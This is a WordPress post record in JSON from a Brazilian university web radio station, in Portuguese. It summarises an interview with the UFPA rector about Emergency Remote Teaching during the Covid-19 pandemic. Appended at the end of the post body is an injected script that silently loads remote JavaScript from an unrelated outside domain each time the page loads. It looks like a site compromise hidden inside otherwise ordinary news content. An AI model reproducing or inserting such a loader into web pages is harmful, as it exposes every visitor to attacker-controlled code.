{"id":7527,"date":"2020-09-02T10:00:40","date_gmt":"2020-09-02T13:00:40","guid":{"rendered":"http:\/\/radio.ufpa.br\/?p=7527"},"modified":"2025-10-21T10:05:16","modified_gmt":"2025-10-21T13:05:16","slug":"ensino-remoto-emergencial","status":"publish","type":"post","link":"https:\/\/radio.ufpa.br\/index.php\/ufpa-ensino\/ensino-remoto-emergencial\/","title":{"rendered":"Ensino Remoto Emergencial"},"content":{"rendered":"<!--[if lt IE 9]><script>document.createElement('audio');<\/script><![endif]-->\n\t<div class=\"wp-playlist wp-audio-playlist wp-playlist-light\">\n\t\t\t<div class=\"wp-playlist-current-item\"><\/div>\n\t\t<audio controls=\"controls\" preload=\"none\" width=\"1178\"\n\t\t\t><\/audio>\n\t<div class=\"wp-playlist-next\"><\/div>\n\t<div class=\"wp-playlist-prev\"><\/div>\n\t<noscript>\n\t<ol>\n\t\t<li><a href='https:\/\/radio.ufpa.br\/wp-content\/uploads\/2020-2\/UFPA%20ENSINO%20-%20ENSINO%20REMOTO%20-%2002.09.20.mp3'>UFPA Ensino - Ensino Remoto Emergencial<\/a><\/li>\t<\/ol>\n\t<\/noscript>\n\t<script type=\"application\/json\" class=\"wp-playlist-script\">{\"type\":\"audio\",\"tracklist\":true,\"tracknumbers\":true,\"images\":true,\"artists\":true,\"tracks\":[{\"src\":\"https:\\\/\\\/radio.ufpa.br\\\/wp-content\\\/uploads\\\/2020-2\\\/UFPA ENSINO - ENSINO REMOTO - 02.09.20.mp3\",\"type\":\"audio\\\/mpeg\",\"title\":\"UFPA Ensino - Ensino Remoto Emergencial\",\"caption\":\"\",\"description\":\"\\\"UFPA ENSINO - ENSINO REMOTO - 02.09.20\\\". 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Neste programa, trazemos uma entrevista com o reitor da Universidade Federal do Par\u00e1, Emmanuel Tourinho, para falar sobre o retorno das atividades de ensino da UFPA por meio do Ensino Remoto Emergencial.<\/p>\n<p>Ap\u00f3s cinco meses de suspens\u00e3o das atividades presenciais por conta da Pandemia de Covid-19, o Conselho Superior de Pesquisa, Ensino e Extens\u00e3o da UFPA (Consepe) aprovou a oferta de Ensino Remoto Emergencial, tamb\u00e9m chamado pela sigla ERE. Nesta edi\u00e7\u00e3o especial do UFPA Ensino, o reitor Emmanuel Tourinho esclarece o funcionamento do regime diferenciado, os motivos para a retomada das atividades de ensino e as medidas para garantir aos discentes em condi\u00e7\u00f5es de vulnerabilidade social o acesso \u00e0 esta modalidade de ensino.<\/p>\n<p>O reitor esclarece que a Universidade Federal do Par\u00e1 n\u00e3o paralisou completamente suas atividades durante este per\u00edodo, e vem adotando medidas para adaptar sua rotina tanto no sentido de prestar contribui\u00e7\u00e3o no enfrentamento \u00e0 pandemia e seus efeitos, quanto no sentido de minimizar as consequ\u00eancias sobre sua comunidade acad\u00eamica e tamb\u00e9m sobre a sociedade em geral, a quem serve sua atividade. \u201cA UFPA tem estado muito ativa ao longo de todo esse per\u00edodo da Pandemia do Novo Coronav\u00edrus. N\u00f3s suspendemos apenas as atividades de ensino presenciais, mas estamos atuando em muitas frentes. N\u00f3s temos estado bastante ativos. o que, ali\u00e1s, \u00e9 a regra das universidades federais do Brasil\u201d, declarou o reitor.<\/p>\n<p>Diante do per\u00edodo prolongado de suspens\u00e3o das atividades presenciais de ensino e a aus\u00eancia de previs\u00e3o de sua retomada em condi\u00e7\u00f5es ideais de biosseguran\u00e7a para a comunidade acad\u00eamica, as universidades federais defrontam-se com problemas como o aumento da taxa de evas\u00e3o, exigindo aten\u00e7\u00e3o e dilig\u00eancia da gest\u00e3o para n\u00e3o contribuir com o aprofundamento de desigualdade j\u00e1 observado no cen\u00e1rio social de nosso pa\u00eds no contexto de pandemia.<\/p>\n<p>\u201cA Universidade, ela existe, tamb\u00e9m, para dar oportunidade para todos os jovens, de acesso \u00e0 educa\u00e7\u00e3o superior e, com isso, contribuir com o enfrentamento da desigualdade e da exclus\u00e3o\u201d, analisa. Emmanuel Tourinho, ent\u00e3o, aponta como principal fundamento para a retomada das atividades por meio do ERE, o restabelecimento do v\u00ednculo acad\u00eamico, especialmente dos discentes mais carentes que, diferente daqueles com melhores condi\u00e7\u00f5es financeiras, est\u00e3o com seu processo formativo totalmente suspenso.<\/p>\n<p>Sobre as especificidades do ERE, o reitor esclareceu diversos pontos acerca do formato de oferta de componentes curriculares que vem sendo a aposta das universidades federais de todo o pa\u00eds e que est\u00e1 previsto para ser aplicado na UFPA no per\u00edodo de 14 de setembro de 2020 a 28 de fevereiro de 2021.<\/p>\n<p>Sobre o acesso universal dos discentes ao ERE, o reitor apresentou as medidas de promo\u00e7\u00e3o da inclus\u00e3o digital que visam garantir a todos os discentes as condi\u00e7\u00f5es para retornar \u00e0s atividades de ensino por meio do ERE. A primeira, em parceria com o Minist\u00e9rio da Educa\u00e7\u00e3o, presta recursos para aquisi\u00e7\u00e3o de pacotes de dados, para que o aluno possa usar a internet com tr\u00e1fego de dados suficiente para acompanhar as aulas e demais atividades. J\u00e1 o segundo aux\u00edlio \u00e9 voltado para que o aluno adquira um equipamento (computador, tablet, etc) para o acesso \u00e0 internet.<\/p>\n<p>&#8220;Este \u00e9 o esfor\u00e7o que estamos fazendo na inclus\u00e3o digital e que, certamente, vai possibilitar que muitos, uma enorme parcela desses discentes que hoje est\u00e3o completamente afastados e est\u00e3o vendo a desigualdade aumentar, possam se reintegrar ao ambiente formativo da Universidade\u201d, avaliou.<\/p>\n<p>O reitor explicou, ainda, que nenhum discente \u00e9 obrigado a cursar os componentes ofertados no Ensino Remoto Emergencial. Diante da situa\u00e7\u00e3o excepcional, o discente pode experimentar o formato e, caso n\u00e3o se adapte, poder\u00e1 cancelar a matr\u00edcula a qualquer tempo, sem preju\u00edzo ao seu rendimento e sendo garantida a oferta de todos os componentes na modalidade presencial quando da plena retomada das atividades. \u201cA faculdade decide o que ela vai ofertar, o aluno escolhe o que ele gostaria de cursar. Ele pode, inclusive, escolher n\u00e3o cursar nenhum componente. Ele n\u00e3o ser\u00e1 prejudicado se ele n\u00e3o optar fazer nenhum componente\u201d, explicou Emmanuel Tourinho.<\/p>\n<p>Sobre a intera\u00e7\u00e3o entre discentes e docentes, o reitor apresentou os formatos das atividades, que ser\u00e3o divididas em s\u00edncronas, com a intera\u00e7\u00e3o simult\u00e2nea entre professor e aluno e ass\u00edncronas, aquelas em que as atividades podem ocorrer em tempos diferentes.<\/p>\n<p>Al\u00e9m disso, Emmanuel Tourinho abordou como vem ocorrendo a prepara\u00e7\u00e3o da comunidade acad\u00eamica para a o desenvolvimento das atividades do ERE, em que o N\u00facleo de Inova\u00e7\u00e3o e Tecnologia Aplicadas a Ensino e Extens\u00e3o (NITAE\u00b2), em parceria com a PROEG e a PROGEP, via Capacit, oferta cursos e oficinas para forma\u00e7\u00e3o de discentes, docentes e servidores t\u00e9cnico-administrativos para esta modalidade de ensino.<\/p>\n<p>Para o reitor, o principal desafio para implanta\u00e7\u00e3o e funcionamento do ERE \u00e9 a desinforma\u00e7\u00e3o, que faz com que o Ensino Remoto Emergencial seja confundido com Educa\u00e7\u00e3o \u00e0 Dist\u00e2ncia. Por\u00e9m, em um contexto de incertezas configurado pela Pandemia do Novo Coronav\u00edrus, \u00e9 indispens\u00e1vel concretizar o papel da universidade p\u00fablica neste cen\u00e1rio, contemplando seus compromissos, especialmente com a transforma\u00e7\u00e3o social.<\/p>\n<p>\u201cN\u00f3s entendemos que, nesta conjuntura, o melhor a fazer \u00e9 este esfor\u00e7o para trazer de volta, para manter a universidade ativa na sua fun\u00e7\u00e3o de ensino, j\u00e1 que ela permanece ativa na suas outras demais fun\u00e7\u00f5es. Eu tenho a convic\u00e7\u00e3o de que estamos fazendo a coisa certa, de que estamos ajudando a fortalecer a UFPA como universidade p\u00fablica. Estamos fazendo o melhor a ser feito para que esta institui\u00e7\u00e3o continue cumprindo a sua miss\u00e3o na sociedade, continue tendo o respeito que tem de toda a popula\u00e7\u00e3o\u201d, avaliou o reitor.<\/p>\n<p>R\u00e1dio Web UFPA mant\u00e9m a preven\u00e7\u00e3o<\/p>\n<p>Para retomar a produ\u00e7\u00e3o de programas in\u00e9ditos, a R\u00e1dio Web UFPA adaptou a rotina de produ\u00e7\u00e3o, adotando medidas necess\u00e1rias \u00e0 preven\u00e7\u00e3o do cont\u00e1gio pelo novo coronav\u00edrus.<\/p>\n<p>Enquanto perdurar o cen\u00e1rio de pandemia, nossos programas in\u00e9ditos ser\u00e3o gravados em forma de entrevista feita por telefone, o que compromete a qualidade dos \u00e1udios, por\u00e9m, resguarda a sa\u00fade e a vida de nossa equipe e nossos convidados.<\/p>\n<p>Para saber mais sobre o Ensino Remoto Emergencial (ERE), voc\u00ea pode acompanhar a edi\u00e7\u00e3o especial do UFPA Ensino.<\/p>\n<p>Apresenta\u00e7\u00e3o: Elissandra Batista<br \/>\nProdu\u00e7\u00e3o e roteiro: Fabr\u00edcio Queiroz e Susan Santiago<br \/>\nGrava\u00e7\u00e3o e montagem: Jo\u00e3o Nilo Ferreira<br \/>\nSupervis\u00e3o e edi\u00e7\u00e3o: Elissandra Batista e Fabr\u00edcio Queiroz<br \/>\nFoto: Alexandre de Moraes (Ascom UFPA)<\/p>\n<p>O UFPA Ensino vai ao ar \u00e0s quartas-feiras, \u00e0s 10h e 21h.<br \/>\nHor\u00e1rios alternativos: Sexta-Feira, \u00e0s 19h e s\u00e1bado, \u00e0s 22h.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p> &#8230; <a title=\"Ensino Remoto Emergencial\" class=\"read-more\" href=\"https:\/\/radio.ufpa.br\/index.php\/ufpa-ensino\/ensino-remoto-emergencial\/\" aria-label=\"Read more about Ensino Remoto Emergencial\">Ler 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